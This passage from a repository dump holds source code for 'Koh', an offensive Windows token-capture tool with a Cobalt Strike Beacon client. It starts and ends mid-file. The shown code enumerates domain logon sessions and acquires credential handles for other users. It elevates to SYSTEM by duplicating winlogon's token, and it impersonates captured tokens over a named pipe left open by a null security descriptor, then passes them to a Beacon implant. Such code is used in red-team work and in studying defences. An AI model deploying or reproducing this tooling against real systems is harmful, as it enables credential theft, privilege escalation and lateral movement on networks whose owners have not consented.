85 | } 86 | else if($3 iswm "reset") { 87 | $bofArgs = bof_pack($bid, "iiz", 103, 0, ""); 88 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 89 | } 90 | else { 91 | berror($1, "Usage: koh filter [list | add SID | remove SID | reset]"); 92 | return; 93 | } 94 | } 95 | else if($command iswm "groups") { 96 | if($3 != $null) { 97 | $bofArgs = bof_pack($bid, "iiz", 200, $3, ""); 98 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 99 | } 100 | else { 101 | berror($1, "LUID required!"); 102 | return; 103 | } 104 | } 105 | else if($command iswm "impersonate") { 106 | if($3 != $null) { 107 | $bofArgs = bof_pack($bid, "iiz", 300, $3, ""); 108 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 109 | } 110 | else { 111 | berror($1, "LUID required!"); 112 | return; 113 | } 114 | } 115 | else if($command iswm "release") { 116 | if($3 iswm "all") { 117 | $bofArgs = bof_pack($bid, "iiz", 400, 0, ""); 118 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 119 | } 120 | else { 121 | if($3 != $null) { 122 | $bofArgs = bof_pack($bid, "iiz", 401, $3, ""); 123 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 124 | } 125 | else { 126 | berror($1, "'release all' or 'release LUID' required"); 127 | } 128 | } 129 | } 130 | else if($command iswm "exit") { 131 | $bofArgs = bof_pack($bid, "iiz", 57005, 0, ""); 132 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 133 | } 134 | else { 135 | berror($1, "Invalid usage!"); 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /Koh/SecBufferDesc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace Koh 6 | { 7 | // SecBufferDesc structure - https://docs.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc 8 | // From https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBufferDesc.cs 9 | // MIT license 10 | [StructLayout(LayoutKind.Sequential)] 11 | public struct SecBufferDesc : IDisposable 12 | { 13 | public int Version; 14 | public int BufferCount; 15 | public IntPtr BuffersPtr; 16 | 17 | /// 18 | /// Initialization constructor 19 | /// 20 | /// Size of the buffer to allocate 21 | internal SecBufferDesc(int size) 22 | { 23 | // Set version to SECBUFFER_VERSION 24 | Version = 0; 25 | 26 | // Set the number of buffers 27 | BufferCount = 1; 28 | 29 | // Allocate a security buffer of the requested size 30 | var secBuffer = new SecBuffer(size); 31 | 32 | // Allocate a native chunk of memory for security buffer 33 | BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); 34 | 35 | try 36 | { 37 | // Copy managed data into the native memory 38 | Marshal.StructureToPtr(secBuffer, BuffersPtr, false); 39 | } 40 | catch (Exception) 41 | { 42 | // Delete native memory 43 | Marshal.FreeHGlobal(BuffersPtr); 44 | 45 | // Reset native buffer pointer 46 | BuffersPtr = IntPtr.Zero; 47 | 48 | // Re-throw exception 49 | throw; 50 | } 51 | } 52 | 53 | /// 54 | /// Initialization constructor for byte array 55 | /// 56 | /// Data 57 | internal SecBufferDesc(byte[] buffer) 58 | { 59 | // Set version to SECBUFFER_VERSION 60 | Version = 0; 61 | 62 | // We have only one buffer 63 | BufferCount = 1; 64 | 65 | // Allocate security buffer 66 | var secBuffer = new SecBuffer(buffer); 67 | 68 | // Allocate native memory for managed block 69 | BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); 70 | 71 | try 72 | { 73 | // Copy managed data into the native memory 74 | Marshal.StructureToPtr(secBuffer, BuffersPtr, false); 75 | } 76 | catch (Exception) 77 | { 78 | // Delete native memory 79 | Marshal.FreeHGlobal(BuffersPtr); 80 | 81 | // Reset native buffer pointer 82 | BuffersPtr = IntPtr.Zero; 83 | 84 | // Re-throw exception 85 | throw; 86 | } 87 | } 88 | 89 | /// 90 | /// Dispose security buffer descriptor 91 | /// 92 | public void Dispose() 93 | { 94 | // Check if we have a buffer 95 | if (BuffersPtr != IntPtr.Zero) 96 | { 97 | // Iterate through each buffer than we manage 98 | for (var index = 0; index < BufferCount; index++) 99 | { 100 | // Calculate pointer to the buffer 101 | var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer)))); 102 | 103 | // Project the buffer into the managed world 104 | var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer)); 105 | 106 | // Dispose it 107 | secBuffer.Dispose(); 108 | } 109 | 110 | // Release native memory block 111 | Marshal.FreeHGlobal(BuffersPtr); 112 | 113 | // Reset buffer pointer 114 | BuffersPtr = IntPtr.Zero; 115 | } 116 | } 117 | 118 | /// 119 | /// Convert to byte array 120 | /// 121 | internal byte[] ToArray() 122 | { 123 | // Check if we have a buffer 124 | if (BuffersPtr == IntPtr.Zero) 125 | { 126 | // We don't have a buffer 127 | return new byte[] { }; 128 | } 129 | 130 | // Prepare a memory stream to contain all the buffers 131 | var outputStream = new MemoryStream(); 132 | 133 | // Iterate through each buffer and write the data into the stream 134 | for (var index = 0; index < BufferCount; index++) 135 | { 136 | // Calculate pointer to the buffer 137 | var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer)))); 138 | 139 | // Project the buffer into the managed world 140 | var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer)); 141 | 142 | // Get the byte buffer 143 | var secBufferBytes = secBuffer.ToArray(); 144 | 145 | // Write buffer to the stream 146 | outputStream.Write(secBufferBytes, 0, secBufferBytes.Length); 147 | } 148 | 149 | // Convert to byte array 150 | return outputStream.ToArray(); 151 | } 152 | 153 | public static SecBufferDesc Empty 154 | { 155 | get 156 | { 157 | return new SecBufferDesc 158 | { 159 | Version = 0, 160 | BufferCount = 0, 161 | BuffersPtr = IntPtr.Zero 162 | }; 163 | } 164 | } 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /Koh/Find.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace Koh 6 | { 7 | class Find 8 | { 9 | public struct FoundSession 10 | { 11 | // represents a found/enumerated logon session 12 | public string UserName; 13 | public string CredentialUserName; 14 | public string Luid; 15 | public string SID; 16 | public Interop.SECURITY_LOGON_TYPE LogonType; 17 | public string AuthPackage; 18 | 19 | public FoundSession(string userName, string credentialUserName, string luid, string sid, Interop.SECURITY_LOGON_TYPE logonType, string authPackage) 20 | { 21 | UserName = userName; 22 | CredentialUserName = credentialUserName; 23 | Luid = luid; 24 | SID = sid; 25 | LogonType = logonType; 26 | AuthPackage = authPackage; 27 | } 28 | } 29 | 30 | public static Dictionary LogonSessions(bool DEBUG = false) 31 | { 32 | // finds all logon sessions that match our specific criteria: 33 | // - user SID is domain formatted 34 | // - logonType != Network 35 | 36 | var logonSessions = new Dictionary(); 37 | 38 | try 39 | { 40 | var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); // win32 systemdate 41 | 42 | // get an array of pointers to LUIDs 43 | var ret = Interop.LsaEnumerateLogonSessions(out var count, out var luidPtr); 44 | 45 | if (ret != 0) 46 | { 47 | Console.WriteLine($" [!] Error with calling LsaEnumerateLogonSessions: {ret}"); 48 | return logonSessions; 49 | } 50 | 51 | for (ulong i = 0; i < count; i++) 52 | { 53 | ret = Interop.LsaGetLogonSessionData(luidPtr, out var sessionData); 54 | if (ret != 0) 55 | { 56 | Console.WriteLine($" [!] Error with calling LsaGetLogonSessionData on LUID {luidPtr}: {ret}"); 57 | continue; 58 | } 59 | 60 | var data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA)); 61 | 62 | // if we have a valid logon 63 | if (data.PSiD != IntPtr.Zero) 64 | { 65 | // get the account username 66 | var username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); 67 | 68 | // convert the security identifier of the user 69 | var sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); 70 | 71 | // domain for this account 72 | var domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); 73 | 74 | // authentication package 75 | var authPackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); 76 | 77 | // logon type 78 | var logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType; 79 | 80 | // datetime the session was logged in 81 | var logonTime = systime.AddTicks((long)data.LoginTime); 82 | 83 | // user's logon server 84 | var logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); 85 | 86 | // logon server's DNS domain 87 | var dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); 88 | 89 | // user principalname 90 | var upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); 91 | 92 | var logonID = ""; 93 | try { logonID = data.LoginID.LowPart.ToString(); } 94 | catch { } 95 | 96 | // get the credential username (i.e., for NewCredentials) 97 | var credentialUserName = Creds.GetCredentialUserName(new LUID(logonID), DEBUG); 98 | 99 | var userSID = ""; 100 | try { userSID = sid.Value; } 101 | catch { } 102 | 103 | // domain users only (or NewCredentials/Type 9) 104 | if (Helpers.IsDomainSid(userSID) || logonType == Interop.SECURITY_LOGON_TYPE.NewCredentials) 105 | { 106 | // Network logon types aren't going to have any credentials 107 | if (logonType != Interop.SECURITY_LOGON_TYPE.Network) 108 | { 109 | string identifier = userSID + credentialUserName + authPackage + logonType; 110 | 111 | FoundSession foundSession = new FoundSession($"{domain}\\{username}", credentialUserName, logonID, userSID, logonType, authPackage); 112 | 113 | if (!logonSessions.ContainsKey(identifier)) 114 | { 115 | logonSessions.Add(identifier, foundSession); 116 | } 117 | else 118 | { 119 | logonSessions[identifier] = foundSession; 120 | } 121 | } 122 | } 123 | } 124 | 125 | // move the pointer forward 126 | luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); 127 | Interop.LsaFreeReturnBuffer(sessionData); 128 | } 129 | Interop.LsaFreeReturnBuffer(luidPtr); 130 | } 131 | catch(Exception e) 132 | { 133 | Console.WriteLine($" [!] Error in LogonSessions(): {e}"); 134 | } 135 | 136 | return logonSessions; 137 | } 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /Koh/Helpers.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Text.RegularExpressions; 9 | 10 | namespace Koh 11 | { 12 | class Helpers 13 | { 14 | private const string Version = "1.0.0"; 15 | 16 | public static void Logo() 17 | { 18 | Console.WriteLine("\n __ ___ ______ __ __ "); 19 | Console.WriteLine("| |/ / / __ \\ | | | | "); 20 | Console.WriteLine("| ' / | | | | | |__| | "); 21 | Console.WriteLine("| < | | | | | __ | "); 22 | Console.WriteLine("| . \\ | `--' | | | | | "); 23 | Console.WriteLine("|__|\\__\\ \\______/ |__| |__| "); 24 | Console.WriteLine($" v{Version}\n"); 25 | } 26 | 27 | public static void Usage() 28 | { 29 | Console.WriteLine("\n Koh.exe [GroupSID... GroupSID2 ...]\n"); 30 | } 31 | 32 | public static string MD5(string input) 33 | { 34 | // Use input string to calculate MD5 hash 35 | using (System.Security.Cryptography.MD5 md5 = System.Security.Cryptography.MD5.Create()) 36 | { 37 | byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(input); 38 | byte[] hashBytes = md5.ComputeHash(inputBytes); 39 | 40 | // Convert the byte array to hexadecimal string 41 | StringBuilder sb = new StringBuilder(); 42 | for (int i = 0; i < hashBytes.Length; i++) 43 | { 44 | sb.Append(hashBytes[i].ToString("X2")); 45 | } 46 | return sb.ToString().ToLower(); 47 | } 48 | } 49 | 50 | public static string GetMachineName() 51 | { 52 | // grab the current computer NETBIOS name 53 | 54 | StringBuilder name = new StringBuilder(260); 55 | int nSize = 260; 56 | if (!Interop.GetComputerName(name, ref nSize)) 57 | { 58 | var ex = new Win32Exception(Marshal.GetLastWin32Error()); 59 | Console.WriteLine($" [X] Error retrieving computer name via GetComputerName(): {ex.Message} ({ex.ErrorCode})"); 60 | } 61 | return $"{name}"; 62 | } 63 | 64 | public static bool CheckTokenForGroup(IntPtr token, string groupSID) 65 | { 66 | // Takes a token pointer and a group SID string, and returns if the given token has that specific group present 67 | // Used for group SID filtering 68 | 69 | List groupSids = GetTokenGroups(token); 70 | return groupSids.Contains(groupSID); 71 | } 72 | 73 | public static LUID GetTokenOrigin(IntPtr token) 74 | { 75 | // gets the origin LUID for the specified token 76 | 77 | IntPtr pOrigin = Helpers.GetTokenInfo(token, Interop.TOKEN_INFORMATION_CLASS.TokenOrigin); 78 | Interop.TOKEN_ORIGIN origin = (Interop.TOKEN_ORIGIN)Marshal.PtrToStructure(pOrigin, typeof(Interop.TOKEN_ORIGIN)); 79 | Marshal.FreeHGlobal(pOrigin); 80 | return origin.LoginID; 81 | } 82 | 83 | public static List GetTokenGroups(IntPtr token) 84 | { 85 | // returns an arraylist of all of the group SIDs present for a specified token 86 | 87 | List groupSids = new List(); 88 | 89 | try 90 | { 91 | IntPtr pGroups = GetTokenInfo(token, Interop.TOKEN_INFORMATION_CLASS.TokenGroups); 92 | 93 | Interop.TOKEN_GROUPS groups = (Interop.TOKEN_GROUPS)Marshal.PtrToStructure(pGroups, typeof(Interop.TOKEN_GROUPS)); 94 | string[] userSIDS = new string[groups.GroupCount]; 95 | int sidAndAttrSize = Marshal.SizeOf(new Interop.SID_AND_ATTRIBUTES()); 96 | 97 | for (int i = 0; i < groups.GroupCount; i++) 98 | { 99 | Interop.SID_AND_ATTRIBUTES sidAndAttributes = (Interop.SID_AND_ATTRIBUTES)Marshal.PtrToStructure( 100 | new IntPtr(pGroups.ToInt64() + i * sidAndAttrSize + IntPtr.Size), typeof(Interop.SID_AND_ATTRIBUTES)); 101 | 102 | string sidString = ""; 103 | Interop.ConvertSidToStringSid(sidAndAttributes.Sid, out sidString); 104 | 105 | groupSids.Add(sidString); 106 | } 107 | 108 | Marshal.FreeHGlobal(pGroups); 109 | } 110 | catch { } 111 | 112 | return groupSids; 113 | } 114 | 115 | public static IntPtr GetTokenInfo(IntPtr token, Interop.TOKEN_INFORMATION_CLASS informationClass) 116 | { 117 | // Wrapper that uses GetTokenInformation to retrieve the specified TOKEN_INFORMATION_CLASS 118 | 119 | var TokenInfLength = 0; 120 | 121 | // first call gets length of TokenInformation 122 | var Result = Interop.GetTokenInformation(token, informationClass, IntPtr.Zero, TokenInfLength, out TokenInfLength); 123 | var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); 124 | Result = Interop.GetTokenInformation(token, informationClass, TokenInformation, TokenInfLength, out TokenInfLength); 125 | 126 | if (!Result) 127 | { 128 | Marshal.FreeHGlobal(TokenInformation); 129 | throw new Exception("Unable to get token info."); 130 | } 131 | 132 | return TokenInformation; 133 | } 134 | 135 | public static bool IsDomainSid(string sid) 136 | { 137 | // Returns true if the SID string matches a domain SID pattern 138 | 139 | string pattern = @"^S-1-[0-59]-\d{2}-\d{8,10}-\d{8,10}-\d{8,10}-[1-9]\d{2}"; 140 | Match m = Regex.Match(sid, pattern, RegexOptions.IgnoreCase); 141 | return m.Success; 142 | } 143 | 144 | public static bool IsHighIntegrity() 145 | { 146 | // Returns true if the current process is running with administrative privs in a high integrity context 147 | 148 | WindowsIdentity identity = WindowsIdentity.GetCurrent(); 149 | WindowsPrincipal principal = new WindowsPrincipal(identity); 150 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 151 | } 152 | 153 | public static bool GetSystem() 154 | { 155 | // helper to elevate to SYSTEM so we can get SeTcbPrivilege 156 | 157 | if (IsHighIntegrity()) 158 | { 159 | IntPtr hToken = IntPtr.Zero; 160 | 161 | // Open winlogon's token with TOKEN_DUPLICATE accesss so we can make a copy of the token with DuplicateToken 162 | Process[] processes = Process.GetProcessesByName("winlogon"); 163 | IntPtr handle = processes[0].Handle; 164 | 165 | // TOKEN_DUPLICATE = 0x0002 166 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); 167 | if (!success) 168 | { 169 | Console.WriteLine(" [!] GetSystem() - OpenProcessToken failed!"); 170 | return false; 171 | } 172 | 173 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon 174 | // 2 == SecurityImpersonation 175 | IntPtr hDupToken = IntPtr.Zero; 176 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken); 177 | if (!success) 178 | { 179 | Console.WriteLine(" [!] GetSystem() - DuplicateToken failed!"); 180 | return false; 181 | } 182 | 183 | success = Interop.ImpersonateLoggedOnUser(hDupToken); 184 | if (!success) 185 | { 186 | Console.WriteLine(" [!] GetSystem() - ImpersonateLoggedOnUser failed!"); 187 | return false; 188 | } 189 | 190 | // clean up the handles we created 191 | Interop.CloseHandle(hToken); 192 | Interop.CloseHandle(hDupToken); 193 | 194 | if (!IsSystem()) 195 | { 196 | return false; 197 | } 198 | 199 | return true; 200 | } 201 | else 202 | { 203 | return false; 204 | } 205 | } 206 | 207 | public static bool IsSystem() 208 | { 209 | // Returns true if the current context is "NT AUTHORITY\SYSTEM" 210 | 211 | var currentSid = WindowsIdentity.GetCurrent().User; 212 | return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid); 213 | } 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /Clients/BOF/KohClient.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "beacon.h" 4 | #include "KohClient.h" 5 | 6 | #define BUFSIZE 1024 7 | 8 | 9 | void go(char* args, unsigned long alen) { 10 | 11 | char kohPassword[] = "password"; 12 | char kohPipe[] = "\\\\.\\pipe\\imposecost"; 13 | char impersonationPipe[] = "\\\\.\\pipe\\imposingcost"; 14 | 15 | PBYTE lpPipeContent = NULL; 16 | HANDLE serverPipe; 17 | HANDLE clientPipe; 18 | HANDLE threadToken; 19 | HANDLE duplicatedToken; 20 | DWORD commandBytesWritten = 0; 21 | DWORD bytesRead = 0; 22 | DWORD err = 0; 23 | BOOLEAN bEnabled = FALSE; 24 | BOOL fSuccess = FALSE; 25 | wchar_t message[1] = { 0 }; 26 | 27 | // null security descriptor for the impersonation named pipe 28 | SECURITY_DESCRIPTOR SD; 29 | SECURITY_ATTRIBUTES SA; 30 | ADVAPI32$InitializeSecurityDescriptor(&SD, SECURITY_DESCRIPTOR_REVISION); 31 | ADVAPI32$SetSecurityDescriptorDacl(&SD, TRUE, NULL, FALSE); 32 | SA.nLength = sizeof(SA); 33 | SA.lpSecurityDescriptor = &SD; 34 | SA.bInheritHandle = TRUE; 35 | 36 | // parse packed Beacon commands 37 | datap parser = {0}; 38 | char * kohCommand = NULL; 39 | int intKohCommand = 0; 40 | int LUID = 0; 41 | char* filterSID = NULL; 42 | BeaconDataParse(&parser, args, alen); 43 | intKohCommand = BeaconDataInt(&parser); 44 | LUID = BeaconDataInt(&parser); 45 | filterSID = BeaconDataExtract(&parser, NULL); 46 | 47 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Using KohPipe : %s\n", kohPipe); 48 | 49 | // connect to the Koh communication named pipe 50 | clientPipe = KERNEL32$CreateFileA(kohPipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 51 | 52 | if (clientPipe == INVALID_HANDLE_VALUE) { 53 | err = KERNEL32$GetLastError(); 54 | if(err == 2) { 55 | BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFileA failed file not found.\n", kohPipe); 56 | } 57 | else { 58 | BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFileA failed with: %d\n", kohPipe, KERNEL32$GetLastError()); 59 | } 60 | goto cleanup; 61 | } 62 | 63 | 64 | // Koh commands: 65 | // 1 - list captured tokens 66 | // 2 LUID - list groups for a captured token 67 | 68 | // 100 - list group SIDs currently used for capture filtering 69 | // 101 SID - adds group SID for capture filtering 70 | // 102 SID - removes a group SID for capture filtering 71 | // 103 - resets all group SIDs for capture filtering 72 | 73 | // 200 LUID - lists the groups for the specified LUID/captured token 74 | 75 | // 300 LUID - impersonate a captured token 76 | 77 | // 400 - release all tokens 78 | // 401 LUID - release a token for the specifed LUID 79 | 80 | // 57005 - signal Koh to exit 81 | kohCommand = (char*)KERNEL32$LocalAlloc(LPTR, MSVCRT$strlen(kohPassword) + 100); 82 | if(intKohCommand == 1){ 83 | MSVCRT$sprintf(kohCommand, "%s list", kohPassword); 84 | } 85 | else if(intKohCommand == 2){ 86 | MSVCRT$sprintf(kohCommand, "%s list %d", kohPassword, LUID); 87 | } 88 | else if(intKohCommand == 100){ 89 | MSVCRT$sprintf(kohCommand, "%s filter list", kohPassword); 90 | } 91 | else if(intKohCommand == 101){ 92 | MSVCRT$sprintf(kohCommand, "%s filter add %s", kohPassword, filterSID); 93 | } 94 | else if(intKohCommand == 102){ 95 | MSVCRT$sprintf(kohCommand, "%s filter remove %s", kohPassword, filterSID); 96 | } 97 | else if(intKohCommand == 103){ 98 | MSVCRT$sprintf(kohCommand, "%s filter reset", kohPassword); 99 | } 100 | else if(intKohCommand == 200){ 101 | MSVCRT$sprintf(kohCommand, "%s groups %d", kohPassword, LUID); 102 | } 103 | else if(intKohCommand == 300){ 104 | MSVCRT$sprintf(kohCommand, "%s impersonate %d %s", kohPassword, LUID, impersonationPipe); 105 | } 106 | else if(intKohCommand == 400){ 107 | MSVCRT$sprintf(kohCommand, "%s release all", kohPassword); 108 | } 109 | else if(intKohCommand == 401){ 110 | MSVCRT$sprintf(kohCommand, "%s release %d", kohPassword, LUID); 111 | } 112 | else if(intKohCommand == 57005){ 113 | // 0xDEAD == 57005 114 | MSVCRT$sprintf(kohCommand, "%s exit", kohPassword); 115 | } 116 | 117 | // send the Koh command to the named pipe server 118 | if(!KERNEL32$WriteFile(clientPipe, kohCommand, MSVCRT$strlen(kohCommand), &commandBytesWritten, 0)) { 119 | BeaconPrintf(CALLBACK_ERROR, "[!] Writing to named pipe %s using KERNEL32$WriteFile failed with: %d\n", kohPipe, KERNEL32$GetLastError()); 120 | goto cleanup; 121 | } 122 | 123 | lpPipeContent = (PBYTE)KERNEL32$LocalAlloc(LPTR, BUFSIZE); 124 | 125 | // command 300 == impersonation 126 | if(intKohCommand == 300) { 127 | if(NTDLL$RtlAdjustPrivilege(29, TRUE, FALSE, &bEnabled) != 0) { 128 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to enable SeImpersonatePrivilege: %d\n", KERNEL32$GetLastError()); 129 | goto cleanup; 130 | } 131 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Enabled SeImpersonatePrivilege\n"); 132 | 133 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Creating impersonation named pipe: %s\n", impersonationPipe); 134 | serverPipe = KERNEL32$CreateNamedPipeA(impersonationPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, &SA); 135 | 136 | if (serverPipe == INVALID_HANDLE_VALUE) { 137 | BeaconPrintf(CALLBACK_ERROR, "[!] Creating named pipe %s using KERNEL32$CreateNamedPipeA failed with: %d\n", impersonationPipe, KERNEL32$GetLastError()); 138 | goto cleanup; 139 | } 140 | 141 | if (!KERNEL32$ConnectNamedPipe(serverPipe, NULL)) { 142 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ConnectNamedPipe failed: %d\n", KERNEL32$GetLastError()); 143 | goto cleanup; 144 | } 145 | 146 | // read 1 byte to satisfy the requirement that data is read from the pipe before it's used for impersonation 147 | fSuccess = KERNEL32$ReadFile(serverPipe, &message, 1, &bytesRead, NULL); 148 | if (!fSuccess) { 149 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed: %d\n", KERNEL32$GetLastError()); 150 | goto cleanup; 151 | } 152 | 153 | // perform the named pipe impersonation of the target token 154 | if(ADVAPI32$ImpersonateNamedPipeClient(serverPipe)) { 155 | 156 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonation succeeded. Duplicating token.\n"); 157 | 158 | if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &threadToken)) { 159 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenThreadToken failed with: %d\n", KERNEL32$GetLastError()); 160 | ADVAPI32$RevertToSelf(); 161 | goto cleanup; 162 | } 163 | 164 | if (!ADVAPI32$DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &duplicatedToken)) { 165 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with: %d\n", KERNEL32$GetLastError()); 166 | ADVAPI32$RevertToSelf(); 167 | goto cleanup; 168 | } 169 | 170 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonated token successfully duplicated.\n"); 171 | 172 | ADVAPI32$RevertToSelf(); 173 | 174 | // register the token with the current beacon session 175 | if(!BeaconUseToken(duplicatedToken)) { 176 | BeaconPrintf(CALLBACK_ERROR, "[!] Error applying the token to the current context.\n"); 177 | goto cleanup; 178 | } 179 | 180 | // clean up so there's not an additional token leak 181 | KERNEL32$CloseHandle(threadToken); 182 | KERNEL32$CloseHandle(duplicatedToken); 183 | KERNEL32$DisconnectNamedPipe(serverPipe); 184 | KERNEL32$CloseHandle(serverPipe); 185 | } 186 | else { 187 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$ImpersonateNamedPipeClient failed with: %d\n", KERNEL32$GetLastError()); 188 | KERNEL32$DisconnectNamedPipe(serverPipe); 189 | KERNEL32$CloseHandle(serverPipe); 190 | goto cleanup; 191 | } 192 | } 193 | 194 | // read any output from the server 195 | do { 196 | // based on https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client 197 | fSuccess = KERNEL32$ReadFile(clientPipe, lpPipeContent, BUFSIZE, &bytesRead, NULL); 198 | 199 | if (!fSuccess && KERNEL32$GetLastError() != ERROR_MORE_DATA) 200 | break; 201 | 202 | if (!fSuccess) { 203 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed with: %d\n", KERNEL32$GetLastError()); 204 | break; 205 | } 206 | 207 | BeaconPrintf(CALLBACK_OUTPUT, "%s", lpPipeContent); 208 | } 209 | while (!fSuccess); 210 | 211 | cleanup: 212 | KERNEL32$CloseHandle(clientPipe); 213 | KERNEL32$LocalFree(kohCommand); 214 | KERNEL32$LocalFree(lpPipeContent); 215 | } 216 | -------------------------------------------------------------------------------- /Koh/Creds.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Concurrent; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace Koh 6 | { 7 | class Creds 8 | { 9 | private const int MAX_TOKEN_SIZE = 12288; 10 | private const uint SEC_E_OK = 0; 11 | private const uint SEC_I_CONTINUE_NEEDED = 0x90312; 12 | private const int SECPKG_CRED_BOTH = 3; 13 | private const int ISC_REQ_CONNECTION = 0x00000800; 14 | private const int SECURITY_NATIVE_DREP = 0x10; 15 | 16 | public static Interop.SECURITY_HANDLE GetCredentialHandle(LUID luid, ConcurrentDictionary meta = null) 17 | { 18 | // Acquires a credential handle for the specified logon session ID (LUID) 19 | 20 | IntPtr luidPtr = IntPtr.Zero; 21 | Interop.SECURITY_HANDLE cred = Interop.SECURITY_HANDLE.Empty; 22 | Interop.FILETIME clientLifeTime = new Interop.FILETIME(); 23 | luidPtr = Marshal.AllocHGlobal(Marshal.SizeOf(luid)); 24 | Marshal.StructureToPtr(luid, luidPtr, false); 25 | 26 | var res = Interop.AcquireCredentialsHandle( 27 | "", 28 | "Negotiate", 29 | SECPKG_CRED_BOTH, 30 | luidPtr, 31 | IntPtr.Zero, 32 | IntPtr.Zero, 33 | IntPtr.Zero, 34 | ref cred, 35 | ref clientLifeTime 36 | ); 37 | if (res != SEC_E_OK) 38 | { 39 | if (res == 0x8009030e) 40 | { 41 | Console.WriteLine($" [X] AcquireCredentialsHandle for LUID {luid} failed. Error: SEC_E_NO_CREDENTIALS"); 42 | } 43 | else 44 | { 45 | Console.WriteLine($" [X] AcquireCredentialsHandle for LUID {luid} failed. Error: 0x{res:x8}"); 46 | } 47 | 48 | if (meta != null) 49 | { 50 | meta["AcquireCredentialsHandleError"] = meta["AcquireCredentialsHandleError"] + 1; 51 | } 52 | } 53 | 54 | // // TODO: try to decipher the clientLifeTime struct 55 | //long fileTime = (long)((clientLifeTime.HighPart << 32) + clientLifeTime.LowPart); 56 | //Console.WriteLine($"[*] fileTime: {fileTime}"); 57 | //DateTime dt = DateTime.FromFileTimeUtc(fileTime); 58 | //Console.WriteLine($"[*] Credential dt: {dt}"); 59 | 60 | Marshal.FreeHGlobal(luidPtr); 61 | luidPtr = IntPtr.Zero; 62 | 63 | return cred; 64 | } 65 | 66 | 67 | public static string GetCredentialUserName(LUID luid, bool DEBUG = false) 68 | { 69 | // Return the true username for a credential in case we have a NewCredentials/Type 9 situation 70 | 71 | Interop.SECURITY_HANDLE cred = GetCredentialHandle(luid); 72 | 73 | if ((cred.HighPart == IntPtr.Zero) && (cred.LowPart == IntPtr.Zero)) 74 | { 75 | return ""; 76 | } 77 | 78 | if (DEBUG) Console.WriteLine($"DEBUG Successfully got a credential handle to LUID: {luid}"); 79 | 80 | // SECPKG_CRED_ATTR_NAMES = 1 81 | uint ret = Interop.QueryCredentialsAttributes(ref cred, 1, out var 